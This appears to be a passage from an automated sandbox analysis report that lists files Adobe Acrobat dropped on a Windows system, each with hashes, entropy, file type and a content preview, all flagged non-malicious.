Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklzW0RltfllXlE/HT8krkh/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKt0DeT8ikJdNMa8RdWBwRd
MD5:	D17D4B1209FD25A1CAED5A7E6771B76B
SHA1:	40BDC2C2C44E4166F5E8AA651D28892ABB1A12AF
SHA-256:	74412731BAB2799FA3AC88CED0E29F7440C0E2E87C2C67809BC0928399878628
SHA-512:	8BB4D4860658CC9A9215EC515844F0F50E3858F2069056364D2AA95D14A3AFBC4DA02A63C3158BE9B59321DD2526421E54A9F46C0AAD0E58EF242F7C0E4ED1C9
Malicious:	false
Preview:	p...... ...........f.c..(....................................................... ..........W.....i..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7300

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7300

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37032908814786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJM3g98kUwPeUkwRe9:YvXKXakZc0vdGMbLUkee9
MD5:	EA78DC4BE59C29AF9D181661542D555B
SHA1:	B67A192D95C7F34C91429D1492EE581A7A76C3D4
SHA-256:	24A63EB2CB4FA66EEE64172BC655D02750393289F9370C73D9DC4118DF07F11E
SHA-512:	3DD19490019033549F98ED6B0DD47F6F7426CF47A4C2AFA3F0B64FA80074610EF986656BBA67976FC5F6A3AC25DC02BF8372E00EE7BF90AE5465DCFF454FE74F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.318504103040492
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfBoTfXpnrPeUkwRe9:YvXKXakZc0vdGWTfXcUkee9
MD5:	827810241DB66BC96A9FD5DFDC0160BF
SHA1:	3ADC89518477FD6F67BB7EB875EF09353B9F851C
SHA-256:	CE7144B6F076D9DB7478D65BB3539DF7ECD54D05FD8C6D44174DE57E5BE8E57C
SHA-512:	DDD454BE7A65D45C5F0766EDAEBA3F64D271F313C9A1AADB324BEA73486B563691CC0ECBA57F3B463A2E1A828B57012BE8A77612DBC800DB526D2F2583392F96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296265173412317
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfBD2G6UpnrPeUkwRe9:YvXKXakZc0vdGR22cUkee9
MD5:	E76C0E955B3E681DE21EE1DF99885E0A
SHA1:	7D31EEF11031AF33818A5CCA5A763CB1A7D2C977
SHA-256:	345EB6B4B1CEFE3BDE90A22ECC33EA84302A8B040B34382D326BF000192AD702
SHA-512:	8A460CECD26469A229B111F6520AFF9E80F59BC17E456620E134461C19787C0D8966E3357C7626E5FB368BE64C17333B6987A03ACD3C0224EEF77E99A1839A7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357584004933569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfPmwrPeUkwRe9:YvXKXakZc0vdGH56Ukee9
MD5:	E1F3B0634DCB098839C32D443D3D71B7
SHA1:	9280316AA7EE6C967B32DACEC01A39492280A3EC
SHA-256:	F0A16AA1466D3B0E4DE1A15866DB48CD14B6CEE20C6483FCFE9CD22ED12ADDD1
SHA-512:	77A177B4CDA335C0D67195D24B50F564E0BD7CB72BC672309B04467190022E2736231DB10E82761CF707D86C3E34278565EB4B1801693CF39E42241144943AF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688448368498489
Encrypted:	false
SSDEEP:	24:Yv6XakzvipLgE9cQx8LennAvzBvkn0RCmK8czOCCSS6:YvQ6hgy6SAFv5Ah8cv/S6
MD5:	342980B2A2591DC8DF4710EE9E0BFABB
SHA1:	4B35E5CFAE196065BA70BBD62673D8D878BD943F
SHA-256:	C5C14640A852EA611F4B4DBE26F711CB8B93871BD5CE22AA0199524E029D482C
SHA-512:	3BA045642AC20665377F7F2DAC9681BD71987F9C67357000318947338E2A7A90EB82079636FCA12B25D778F292979F058536225C7803FCF08E645287334E1E17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3011648369075095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJf8dPeUkwRe9:YvXKXakZc0vdGU8Ukee9
MD5:	B5227B534B6A1244618CB48EB9724FAB
SHA1:	7DC810E14324657B6196B451F6566E8E8A9AA577
SHA-256:	24693720343B46FEB64194504A85531BBB5D8750B757D5CB55695CC2E0C99E66
SHA-512:	B52213B14104CC6104323380CAC1371099D6349F3233C8088E89292A91319811EAE5781074DEB1D6B2A41DD014C8140244843B8AA2F4435E33CC0A8AE706D40E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30474450764792
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfQ1rPeUkwRe9:YvXKXakZc0vdGY16Ukee9
MD5:	48EF3B97D96CD2AF1B9C017785985ED8
SHA1:	A582A5FE6BC3F001B23EB0F62C3007CAC7C6AD93
SHA-256:	652290667F70D909B8BCE4200B5234F8533AAEE2C47C8C0057587339AE3C522D
SHA-512:	A4DB3F9090B6FEC403205B95F5EBAA3592377281EF1D4A8534B506660AEEB6FEAC10B7E58D73F096BB0F1931C68A10B863DBF5868685A4E3382D734DEC6C2A93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309787361986847
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfFldPeUkwRe9:YvXKXakZc0vdGz8Ukee9
MD5:	AFBD2035BF6F09472C79C772958A72F9
SHA1:	B23D4FD62E558F611D7D33CC9B1539C2F1C61F61
SHA-256:	E89AFB9AF6AB7B8A69CCD276A346E2E4A593F187CC06B8607B9441EC4DF85F72
SHA-512:	F546B43E9A1DF1DA5B31C570995FAA85B08335829FB648238821E437654539C2E8BE3A79AC13051816FB25B654C91591FFFD36E08600E0C31CB3ACB7A3659167
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327801347787213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfzdPeUkwRe9:YvXKXakZc0vdGb8Ukee9
MD5:	2AC1F13EE73B20082661F5A3A77E4374
SHA1:	9E1F7EEF7AB4A4243FAD0AA31E67575EC2327447
SHA-256:	D654E0B6D2F5E89684D6C87ACECBFA2C404A7AA0659F4212CF87766935399181
SHA-512:	7789E46E3FCE02B119ED5F3A0075C011632A09E634ED2A80D82253DEAF04141603138A67522FD46D64224509EF8395FD5715C04863253D0842B790D0BB175BBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308326450207135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfYdPeUkwRe9:YvXKXakZc0vdGg8Ukee9
MD5:	368130EF24A8FBECD3F597885B864F23
SHA1:	43A34F4F2EED1DBFECB789D42B272D287FC77702
SHA-256:	CF82ACF53CB2916EE483E93C57DF70FE7C855CCB9061132FD52768EEB4FCA77B
SHA-512:	556E91906CD2103213A4586D688C89746EE6AAA33F153E5C1C6147058086E8B9440D449F672930C47F3107AE0630C89CC8FAD5E834B45D872C80D815AB371CDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.294822406390874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJf+dPeUkwRe9:YvXKXakZc0vdG28Ukee9
MD5:	7AD916002EE86E797BD6C4B9F250A681
SHA1:	152C70885F8BCDF51F696736A0AA0854EAE856D4
SHA-256:	5F3775D378497CD7DD6E6125B92736A64CDC5959843F1993741FC702E2E8A0E2
SHA-512:	C9632DC0FEAE4B69AB9A79FDE1B1D52F4144849F76B4EBC2D5CF2D16559474266BB07EAB40840AEA6390C1456519BE9B9CE34EAB68911FA1EE5A23DEB19BE906
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.291816321419094
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfbPtdPeUkwRe9:YvXKXakZc0vdGDV8Ukee9
MD5:	486AB48DB12C3C107EAC34906D6BA3F5
SHA1:	CE99088DF9D05F0920E625DAA70662253BF70277
SHA-256:	210EE0809BCE7056741C53DF440D30FDDC7BEC4AA6F78D20C14FD903B4813D8F
SHA-512:	29A04A7309C681B2C6569DAE6C572128C2A7B090972A4455F11DA3CABA89076C856F421E802B3707E2C035999B259BB811AF8CA4B96D16573549D210F68B519E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296268643949386
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJf21rPeUkwRe9:YvXKXakZc0vdG+16Ukee9
MD5:	EC156D6505E6928E29C165068DB457DD
SHA1:	8D5C2C52B7DF7A371D66AC3C20917E25D82932F1
SHA-256:	4E24A7F6BEA3E4E2F73E969EDBB5647E21DB337F956EB01ED2C9D1C4FB2FDA80
SHA-512:	B6CE5859899A59EC7F3FFCD4E49051C0D451DF531B8A5324A8559DEB0371489BCA6202BD5CD6655680B903558B99D5DFC734721EAB257134482DD74EC89B6147
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664350511054406
Encrypted:	false
SSDEEP:	24:Yv6Xakzv+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSS6:YvQoBgkDMUJUAh8cvMS6
MD5:	C9CF3A4B66883BBD51E793B7CA77C685
SHA1:	63EB631E941A79AA37799A57987C7EE91D92953C
SHA-256:	E6915AE964CFF0436216BBA174DCE7D99D0B43CEC2B5025E98A4486B1E8835B8
SHA-512:	659199CC5436ACB3B1E53ED3E1DE4DF50C691C2F45B7CCD8477EA43808DF1AC74B4BA7B0A50D3931B06BC1CCB76D02A82006175A59221E28C0084DC126DE21A8
Malicious:	false
